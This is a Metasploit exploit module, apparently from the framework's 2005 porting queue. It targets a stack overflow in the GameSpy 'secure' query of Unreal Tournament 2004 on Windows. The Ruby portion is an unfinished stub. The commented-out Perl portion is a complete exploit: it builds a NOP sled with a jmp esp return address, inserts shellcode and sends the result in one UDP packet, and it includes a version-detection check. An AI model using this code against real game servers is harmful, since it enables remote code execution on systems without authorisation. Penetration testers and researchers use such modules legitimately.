Files
metasploit-gs/dev/porting/queue/ut2004_secure_win32.rb
T
HD Moore c22ba98ad6 Exploit porting queue
git-svn-id: file:///home/svn/incoming/trunk@3110 4d416f70-5f16-0410-b530-b9f4589650da
2005-11-26 00:00:09 +00:00

246 lines
5.7 KiB
Ruby

require 'msf/core'
module Msf
class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Unreal Tournament 2004 "secure" Overflow (Win32)',
'Description' => %q{
This is an exploit for the GameSpy secure query in
the Unreal Engine.
This exploit only requires one UDP packet, which can
be both spoofed
and sent to a broadcast address.
Usually, the GameSpy query server listens
on port
7787, but you can manually specify the port as well.
The RunServer.sh script will automatically restart the
server upon a crash, giving
us the ability to
bruteforce the service and exploit it multiple
times.
},
'Author' => [ 'Stinko' ],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '7217'],
[ 'BID', '10570'],
[ 'MIL', '73'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x5c\x00",
},
'Targets' =>
[
[
'Automatic Targetting',
{
'Platform' => 'win32, win2000, winxp',
'Ret' => 0x0,
},
],
],
'DisclosureDate' => 'Jun 18 2004',
'DefaultTarget' => 0))
end
def exploit
connect
handler
disconnect
end
=begin
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ut2004_secure_win32;
use base "Msf::Exploit";
use strict;
my $advanced = { };
my $info =
{
'Name' => 'Unreal Tournament 2004 "secure" Overflow (Win32)',
'Version' => '$Revision$',
'Authors' => [ 'Stinko', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 7787],
},
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x5c\x00",
},
'Description' => qq{
This is an exploit for the GameSpy secure query in the Unreal Engine.
This exploit only requires one UDP packet, which can be both spoofed
and sent to a broadcast address. Usually, the GameSpy query server listens
on port 7787, but you can manually specify the port as well.
The RunServer.sh script will automatically restart the server upon a crash, giving
us the ability to bruteforce the service and exploit it multiple
times.
},
'Refs' =>
[
['OSVDB', '7217'],
['BID', '10570'],
['MIL', '73'],
],
'Targets' =>
[
['UT2004 Build 3186', 0x10184be3, 0x7ffdf0e4], # jmp esp
],
'Keys' => ['unreal2004'],
'DisclosureDate' => 'Jun 18 2004',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target_idx = $self->GetVar('TARGET');
my $target = $self->Targets->[$target_idx];
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
my $request = $self->MakeNops(1024);
substr($request, 0, 60, pack("V", $target->[1]) x 15);
substr($request, 56, 4, pack("V", $target->[2]));
substr($request, 0, length("\\secure\\"), "\\secure\\");
substr($request, length($request) - length($shellcode), length($shellcode), $shellcode);
my $sock = Msf::Socket::Udp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}
$self->PrintLine('[*] Sending UDP Secure Request (Dest Port: ' . $target_port . ') (' . length($request) . ' bytes)');
if(!$sock->Send($request)) {
$sock->PrintError;
return;
}
return;
}
sub Check
{
my $self = shift();
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $versionNum = $self->GetVersion($target_host, $target_port);
if(! $versionNum) {
$self->PrintLine("[*] Couldn't detect Unreal Tournament Server at ". $target_host . ':' . $target_port);
return $self->CheckCode('Generic');
}
else {
$self->PrintLine('[*] Detected Unreal Tournament Server Version: ' . $versionNum . ' at ' . $target_host . ':' . $target_port);
if ($versionNum =~ /^(3120|3186|3204)$/) {
$self->PrintLine("[*] The server is more than likely exploitable");
return $self->CheckCode('Appears');
}
elsif ($versionNum =~ /^(2...)$/) {
$self->PrintLine("[*] The server appears to be running UT2003");
return $self->CheckCode('Safe');
}
$self->PrintLine("[*] The server is more than likely patched");
return $self->CheckCode('Safe');
}
}
sub GetVersion
{
my $self = shift();
my $target_host = shift();
my $target_port = shift();
my $s = Msf::Socket::Udp->new
(
PeerAddr => $target_host,
PeerPort => $target_port,
);
if($s->IsError()) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$self->PrintLine('[*] Sending UDP Version Request to ' . $target_host . ':' . $target_port);
my $versionRequest = "\\basic\\";
if(!$s->Send($versionRequest)) {
$s->PrintError;
return;
}
my $versionReply = $s->Recv(-1, 10);
my $versionNum;
if ($versionReply =~ m/\\gamever\\([0-9]{1,5})/) {
$versionNum = $1;
}
return $versionNum;
}
1;
=end
end
end